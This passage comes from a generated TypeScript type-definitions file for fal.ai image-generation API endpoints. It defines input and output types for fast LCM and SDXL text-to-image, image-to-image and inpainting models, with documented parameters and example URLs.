portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLcmDiffusionInpaintingImageSizeKey = + (typeof inputFalAiFastLcmDiffusionInpaintingImageSize)[keyof typeof inputFalAiFastLcmDiffusionInpaintingImageSize] + +export type InputFalAiFastLcmDiffusionInpainting = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default true + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLcmDiffusionInpaintingFormatEnumKey + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLcmDiffusionInpaintingSafetyCheckerVersionEnumKey + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSizeA0F2Dbf9 + | InputFalAiFastLcmDiffusionInpaintingImageSizeKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 1.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example a tiger sitting on a park bench + * @type string + */ + prompt: string + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 32 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The URL of the mask to use for inpainting. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + * @type string + */ + mask_url: string +} + +export type ImageB08Eaaf1 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFastLcmDiffusionInpainting = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageB08Eaaf1[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize0673068E = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type Embedding = { + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null +} + +export const inputFalAiFastLightningSdxlNumInferenceStepsEnum = { + '1': 1, + '2': 2, + '4': 4, + '8': 8, +} as const + +export type InputFalAiFastLightningSdxlNumInferenceStepsEnumKey = + (typeof inputFalAiFastLightningSdxlNumInferenceStepsEnum)[keyof typeof inputFalAiFastLightningSdxlNumInferenceStepsEnum] + +export const inputFalAiFastLightningSdxlFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLightningSdxlFormatEnumKey = + (typeof inputFalAiFastLightningSdxlFormatEnum)[keyof typeof inputFalAiFastLightningSdxlFormatEnum] + +export const inputFalAiFastLightningSdxlImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLightningSdxlImageSizeKey = + (typeof inputFalAiFastLightningSdxlImageSize)[keyof typeof inputFalAiFastLightningSdxlImageSize] + +export const inputFalAiFastLightningSdxlSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLightningSdxlSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLightningSdxlSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLightningSdxlSafetyCheckerVersionEnum] + +export type InputFalAiFastLightningSdxl = { + /** + * @description The number of inference steps to perform. + * @default 4 + * @type number | undefined + */ + num_inference_steps?: InputFalAiFastLightningSdxlNumInferenceStepsEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLightningSdxlFormatEnumKey + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example photo of a girl smiling during a sunset, with lightnings in the background + * @type string + */ + prompt: string + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize0673068E | InputFalAiFastLightningSdxlImageSizeKey + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLightningSdxlSafetyCheckerVersionEnumKey + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding[] +} + +export type Image16Fa62D9 = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiFastLightningSdxl = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image16Fa62D9[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize17185Af4 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFastLightningSdxlImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLightningSdxlImageToImageImageSizeKey = + (typeof inputFalAiFastLightningSdxlImageToImageImageSize)[keyof typeof inputFalAiFastLightningSdxlImageToImageImageSize] + +export const inputFalAiFastLightningSdxlImageToImageNumInferenceStepsEnum = { + '1': 1, + '2': 2, + '4': 4, + '8': 8, +} as const + +export type InputFalAiFastLightningSdxlImageToImageNumInferenceStepsEnumKey = + (typeof inputFalAiFastLightningSdxlImageToImageNumInferenceStepsEnum)[keyof typeof inputFalAiFastLightningSdxlImageToImageNumInferenceStepsEnum] + +export const inputFalAiFastLightningSdxlImageToImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLightningSdxlImageToImageFormatEnumKey = + (typeof inputFalAiFastLightningSdxlImageToImageFormatEnum)[keyof typeof inputFalAiFastLightningSdxlImageToImageFormatEnum] + +export const inputFalAiFastLightningSdxlImageToImageSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLightningSdxlImageToImageSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLightningSdxlImageToImageSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLightningSdxlImageToImageSafetyCheckerVersionEnum] + +export type InputFalAiFastLightningSdxlImageToImage = { + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSize17185Af4 + | InputFalAiFastLightningSdxlImageToImageImageSizeKey + /** + * @description + * If set to true, the output cropped to the proper aspect ratio after generating. + * + * @default false + * @type boolean | undefined + */ + crop_output?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example an island near sea, with seagulls, moon shining over the sea, light house, boats int he background, fish flying over the sea + * @type string + */ + prompt: string + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding[] + /** + * @description The number of inference steps to perform. + * @default 4 + * @type number | undefined + */ + num_inference_steps?: InputFalAiFastLightningSdxlImageToImageNumInferenceStepsEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLightningSdxlImageToImageFormatEnumKey + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * If set to true, the aspect ratio of the generated image will be preserved even + * if the image size is too large. However, if the image is not a multiple of 32 + * in width or height, it will be resized to the nearest multiple of 32. By default, + * this snapping to the nearest multiple of 32 will not preserve the aspect ratio. + * Set crop_output to True, to crop the output to the proper aspect ratio + * after generating. + * + * @default false + * @type boolean | undefined + */ + preserve_aspect_ratio?: boolean + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://fal-cdn.batuhan-941.workers.dev/files/tiger/IExuP-WICqaIesLZAZPur.jpeg + * @type string + */ + image_url: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.05 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLightningSdxlImageToImageSafetyCheckerVersionEnumKey +} + +export type Image48D5F0B1 = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiFastLightningSdxlImageToImage = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: Image48D5F0B1[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeCd289Aba = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFastLightningSdxlInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLightningSdxlInpaintingImageSizeKey = + (typeof inputFalAiFastLightningSdxlInpaintingImageSize)[keyof typeof inputFalAiFastLightningSdxlInpaintingImageSize] + +export const inputFalAiFastLightningSdxlInpaintingNumInferenceStepsEnum = { + '1': 1, + '2': 2, + '4': 4, + '8': 8, +} as const + +export type InputFalAiFastLightningSdxlInpaintingNumInferenceStepsEnumKey = + (typeof inputFalAiFastLightningSdxlInpaintingNumInferenceStepsEnum)[keyof typeof inputFalAiFastLightningSdxlInpaintingNumInferenceStepsEnum] + +export const inputFalAiFastLightningSdxlInpaintingFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLightningSdxlInpaintingFormatEnumKey = + (typeof inputFalAiFastLightningSdxlInpaintingFormatEnum)[keyof typeof inputFalAiFastLightningSdxlInpaintingFormatEnum] + +export const inputFalAiFastLightningSdxlInpaintingSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLightningSdxlInpaintingSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLightningSdxlInpaintingSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLightningSdxlInpaintingSafetyCheckerVersionEnum] + +export type InputFalAiFastLightningSdxlInpainting = { + /** + * @description The URL of the mask to use for inpainting. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + * @type string + */ + mask_url: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSizeCd289Aba + | InputFalAiFastLightningSdxlInpaintingImageSizeKey + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example a tiger sitting on a park bench + * @type string + */ + prompt: string + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding[] + /** + * @description The number of inference steps to perform. + * @default 4 + * @type number | undefined + */ + num_inference_steps?: InputFalAiFastLightningSdxlInpaintingNumInferenceStepsEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLightningSdxlInpaintingFormatEnumKey + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLightningSdxlInpaintingSafetyCheckerVersionEnumKey +} + +export type ImageF620Abab = { + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string +} + +export type OutputFalAiFastLightningSdxlInpainting = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @type array + */ + images: ImageF620Abab[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeF230Ca9C = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type Embedding7Aa215B3 = { + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export type LoraWeightF794A5F2 = { + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFastSdxlImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastSdxlImageSizeKey = + (typeof inputFalAiFastSdxlImageSize)[keyof typeof inputFalAiFastSdxlImageSize] + +export const inputFalAiFastSdxlSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastSdxlSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastSdxlSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastSdxlSafetyCheckerVersionEnum] + +export const inputFalAiFastSdxlFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastSdxlFormatEnumKey = + (typeof inputFalAiFastSdxlFormatEnum)[keyof typeof inputFalAiFastSdxlFormatEnum] + +export type InputFalAiFastSdxl = { + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeF230Ca9C | InputFalAiFastSdxlImageSizeKey + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastSdxlSafetyCheckerVersionEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastSdxlFormatEnumKey + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @example ugly, deformed + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 25 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding7Aa215B3[] + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeightF794A5F2[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example photo of a rhino dressed suit and tie sitting at a table in a bar with a bar stools, award winning photography, Elke vogelsang + * @example Photo of a classic red mustang car parked in las vegas strip at night + * @type string + */ + prompt: string +} + +export type Image30C76550 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiFastSdxl = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image30C76550[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeA93Ddf16 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type Embedding52906Df7 = { + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export type LoraWeight940346A8 = { + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFastSdxlImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastSdxlImageToImageImageSizeKey = + (typeof inputFalAiFastSdxlImageToImageImageSize)[keyof typeof inputFalAiFastSdxlImageToImageImageSize] + +export const inputFalAiFastSdxlImageToImageSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastSdxlImageToImageSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastSdxlImageToImageSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastSdxlImageToImageSafetyCheckerVersionEnum] + +export const inputFalAiFastSdxlImageToImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastSdxlImageToImageFormatEnumKey = + (typeof inputFalAiFastSdxlImageToImageFormatEnum)[keyof typeof inputFalAiFastSdxlImageToImageFormatEnum] + +export type InputFalAiFastSdxlImageToImage = { + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeA93Ddf16 | InputFalAiFastSdxlImageToImageImageSizeKey + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastSdxlImageToImageSafetyCheckerVersionEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.05 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description + * If set to true, the output cropped to the proper aspect ratio after generating. + * + * @default false + * @type boolean | undefined + */ + crop_output?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastSdxlImageToImageFormatEnumKey + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://fal-cdn.batuhan-941.workers.dev/files/tiger/IExuP-WICqaIesLZAZPur.jpeg + * @type string + */ + image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 65 + * @default 25 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The list of embeddings to use. + * @default [] + * @type array | undefined + */ + embeddings?: Embedding52906Df7[] + /** + * @description The list of LoRA weights to use. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight940346A8[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example an island near sea, with seagulls, moon shining over the sea, light house, boats int he background, fish flying over the sea + * @type string + */ + prompt: string + /** + * @description + * If set to true, the aspect ratio of the generated image will be preserved even + * if the image size is too large. However, if the image is not a multiple of 32 + * in width or height, it will be resized to the nearest multiple of 32. By default, + * this snapping to the nearest multiple of 32 will not preserve the aspect ratio. + * Set crop_output to True, to crop the output to the proper aspect ratio + * after generating. + * + * @default false + * @type boolean | undefined + */ + preserve_aspect_ratio?: boolean +} + +export type Image1Ffbdd9A = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + width: number + url: string +} + +export type OutputFalAiFastSdxlImageToImage = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image1Ffbdd9A[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize3E64Dc98 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type EmbeddingFcfe06Dd = { + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export type LoraWeight9Debcd26 = { + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFastSdxlInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', 